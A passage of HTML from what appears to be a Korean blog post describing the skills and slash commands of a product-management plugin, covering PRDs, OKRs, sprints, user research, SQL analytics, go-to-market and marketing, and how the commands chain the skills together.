&lt;p data-ke-size=&quot;size16&quot;&gt;12개 스킬은 검증된 전략 프레임워크를 구조화한 것이다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/strategy&lt;/code&gt; 명령어는 이 스킬들을 상황에 맞게 체이닝하여 전략 캔버스, 경쟁 포지셔닝, 핵심 차별화 요소를 산출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 3.3 pm-execution ===== --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.3 pm-execution (15개 스킬, 10개 명령어)&lt;/h3&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0 16px 0; align-items: center;&quot;&gt;&lt;span style=&quot;font-size: 12px; color: #888; margin-right: 4px;&quot;&gt;명령어&lt;/span&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/write-prd&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/plan-okrs&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/sprint&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/write-stories&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/plan-launch&lt;/code&gt; &lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;외 5개&lt;/span&gt;&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LyH6S/dJMcagZpsDr/K1o6ldLDrLJ8tzUpQL5Es1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LyH6S/dJMcagZpsDr/K1o6ldLDrLJ8tzUpQL5Es1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LyH6S/dJMcagZpsDr/K1o6ldLDrLJ8tzUpQL5Es1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLyH6S%2FdJMcagZpsDr%2FK1o6ldLDrLJ8tzUpQL5Es1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1100&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 그룹: 계획 수립 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;계획 수립&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;create-prd&lt;/code&gt; &amp;mdash; 8섹션 PRD 템플릿 (Summary/Contacts/Background/Objective/Market Segment/Value Proposition/Solution/Release)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;brainstorm-okrs&lt;/code&gt; &amp;mdash; Christina Wodtke의 Radical Focus 기반 OKR 3세트 생성, KR 3개 권장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;outcome-roadmap&lt;/code&gt; &amp;mdash; 아웃풋을 아웃컴으로 변환하는 로드맵 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;user-stories&lt;/code&gt; &amp;mdash; 3C(Card/Conversation/Confirmation) + INVEST 기준, 스토리당 acceptance criteria 4~6개&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 그룹: 실행 관리 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실행 관리&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;sprint-plan&lt;/code&gt; &amp;mdash; 이론 capacity 70% 기본값, 15~20% 버퍼 예약, Definition of Ready 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;test-scenarios&lt;/code&gt; &amp;mdash; QA 테스트 시나리오 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- /plan-okrs 체이닝 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/plan-okrs&lt;/b&gt; 체인: Context 수집 &amp;rarr; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;brainstorm-okrs&lt;/code&gt; &amp;rarr; 품질 검증 &amp;rarr; 표 형식 제시&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;Objective + KR 표(Baseline/Target/Owner), Alignment Map, Scoring Guide(목표 구간 0.7~0.9)를 산출한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- /sprint 체이닝 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/sprint&lt;/b&gt; 3가지 모드: &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;plan&lt;/code&gt; &amp;middot; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;retro&lt;/code&gt; &amp;middot; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;release-notes&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;plan &amp;rarr; (스프린트 진행) &amp;rarr; retro &amp;rarr; release-notes 순서로 자연스럽게 연결된다. retro에서는 Start/Stop/Continue, 4Ls, Sailboat 3가지 포맷을 선택할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- /write-stories 체이닝 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/write-stories&lt;/b&gt; 3가지 포맷: &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;user&lt;/code&gt; &amp;middot; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;job&lt;/code&gt; &amp;middot; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;wwa&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;기능 설명이나 PRD를 입력하면 유저 스토리로 분해한다. 완료 후 test scenarios 생성, 스프린트 capacity 추산을 제안한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 3.4 pm-market-research ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zdgH7/dJMcaa5ZtaT/pFSDNBzsJ8yKkAIX5knbx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zdgH7/dJMcaa5ZtaT/pFSDNBzsJ8yKkAIX5knbx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zdgH7/dJMcaa5ZtaT/pFSDNBzsJ8yKkAIX5knbx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzdgH7%2FdJMcaa5ZtaT%2FpFSDNBzsJ8yKkAIX5knbx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1978&quot; height=&quot;1078&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.4 pm-market-research (7개 스킬, 3개 명령어)&lt;/h3&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0 16px 0; align-items: center;&quot;&gt;&lt;span style=&quot;font-size: 12px; color: #888; margin-right: 4px;&quot;&gt;명령어&lt;/span&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/research-users&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/competitive-analysis&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/analyze-feedback&lt;/code&gt;&lt;/div&gt;
&lt;!-- 그룹: 사용자 이해 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사용자 이해&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;user-personas&lt;/code&gt; &amp;mdash; 3개 페르소나 생성, 각각 JTBD/Pain/Gain + One Unexpected Insight + Product Fit Assessment 포함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;user-segmentation&lt;/code&gt; &amp;mdash; 사용자 세그먼트 분류&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;customer-journey-map&lt;/code&gt; &amp;mdash; 7단계 여정 지도 (Awareness &amp;rarr; Consideration &amp;rarr; Acquisition &amp;rarr; Onboarding &amp;rarr; Engagement &amp;rarr; Retention &amp;rarr; Advocacy), 아하 모먼트&amp;middot;이탈 트리거 식별&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 그룹: 시장·경쟁 분석 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;시장&amp;middot;경쟁 분석&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;competitor-analysis&lt;/code&gt; &amp;mdash; 직접 경쟁사 5개 + 간접 경쟁사 2~3개, 포지셔닝 2x2 매트릭스, 12~18개월 리스크 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;market-segments&lt;/code&gt; &amp;mdash; 시장 세그먼트 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;market-sizing&lt;/code&gt; &amp;mdash; 시장 규모 추정 (TAM/SAM/SOM)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- /research-users 체이닝 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/research-users&lt;/b&gt; 체인: &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;user-personas&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;user-segmentation&lt;/code&gt; + &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;market-segments&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;customer-journey-map&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;완료 후 &quot;인터뷰 스크립트 생성할까요?&quot;, &quot;세그먼트별 감성 분석할까요?&quot; 등 후속 커맨드를 제안한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 3.5 pm-data-analytics ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.5 pm-data-analytics (3개 스킬, 3개 명령어)&lt;/h3&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0 16px 0; align-items: center;&quot;&gt;&lt;span style=&quot;font-size: 12px; color: #888; margin-right: 4px;&quot;&gt;명령어&lt;/span&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/write-query&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/analyze-cohorts&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/analyze-test&lt;/code&gt;&lt;/div&gt;
&lt;!-- 그룹: 데이터 분석 도구 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;데이터 분석 도구&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;sql-queries&lt;/code&gt; &amp;mdash; 자연어 &amp;rarr; SQL 변환, BigQuery/PostgreSQL/MySQL/Snowflake/SQL Server 다중 dialect, CTE 우선&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;cohort-analysis&lt;/code&gt; &amp;mdash; CSV/Excel/JSON 데이터 직접 읽기, pandas 분석 스크립트 + 리텐션 히트맵 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;ab-test-analysis&lt;/code&gt; &amp;mdash; 샘플 사이즈 공식(n = (Z^2 x 2 x p x (1-p)) / MDE^2), scipy.stats Python 스크립트, Ship/Extend/Stop 판단&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- /write-query 체이닝 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/write-query&lt;/b&gt;: 자연어 질문 &amp;rarr; 스키마 파악 &amp;rarr; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;sql-queries&lt;/code&gt; 스킬 적용 &amp;rarr; SQL 생성&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;완료 후 &quot;cohort analysis version도 만들까요?&quot;라고 제안하여 /analyze-cohorts로 자연스럽게 연계된다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 3.6 pm-go-to-market ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.6 pm-go-to-market (6개 스킬, 3개 명령어)&lt;/h3&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0 16px 0; align-items: center;&quot;&gt;&lt;span style=&quot;font-size: 12px; color: #888; margin-right: 4px;&quot;&gt;명령어&lt;/span&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/plan-launch&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/growth-strategy&lt;/code&gt; &lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;외 1개&lt;/span&gt;&lt;/div&gt;
&lt;!-- 그룹: GTM 전략 도구 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GTM 전략 도구&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;gtm-strategy&lt;/code&gt; &amp;mdash; Go-to-Market 전략 수립&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;beachhead-segment&lt;/code&gt; &amp;mdash; 초기 진입 시장 세그먼트 정의&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;ideal-customer-profile&lt;/code&gt; &amp;mdash; ICP(Ideal Customer Profile) 수립&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;growth-loops&lt;/code&gt; &amp;mdash; 성장 루프 설계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;competitive-battlecard&lt;/code&gt; &amp;mdash; 경쟁사 배틀카드 작성&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- /plan-launch 체이닝 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/plan-launch&lt;/b&gt; 체인: beachhead segment 정의 &amp;rarr; ICP 수립 &amp;rarr; GTM 전략 수립&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;런칭 준비에 필요한 분석 도구를 순차적으로 체이닝한다. 경쟁 배틀카드와 성장 루프 설계까지 연결된다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 3.7 pm-marketing-growth ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.7 pm-marketing-growth (5개 스킬, 2개 명령어)&lt;/h3&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0 16px 0; align-items: center;&quot;&gt;&lt;span style=&quot;font-size: 12px; color: #888; margin-right: 4px;&quot;&gt;명령어&lt;/span&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/market-product&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/north-star&lt;/code&gt;&lt;/div&gt;
&lt;!-- 그룹: 마케팅·포지셔닝 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;마케팅&amp;middot;포지셔닝&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;marketing-ideas&lt;/code&gt; &amp;mdash; 채널&amp;middot;메시지&amp;middot;참여 근거가 포함된 5개 마케팅 아이디어 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;positioning-ideas&lt;/code&gt; &amp;mdash; 경쟁사 5개 식별, 포지셔닝 갭 분석, 차별화된 포지셔닝 문장 제시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;value-prop-statements&lt;/code&gt; &amp;mdash; 태그라인&amp;middot;엘리베이터 피치&amp;middot;랜딩 페이지 히어로 등 컨텍스트별 가치 제안 문장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;product-name&lt;/code&gt; &amp;mdash; 브랜드 적합성, 기억성, 도메인&amp;middot;상표 가용성을 고려한 5개 제품 이름 제안&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 그룹: 성장 지표 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;성장 지표&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;north-star-metric&lt;/code&gt; &amp;mdash; NSM + 3~5개 입력 지표 정의. 비즈니스를 Attention/Transaction/Productivity 3가지 게임으로 분류 후 7개 검증 기준으로 평가&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- /market-product 체이닝 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
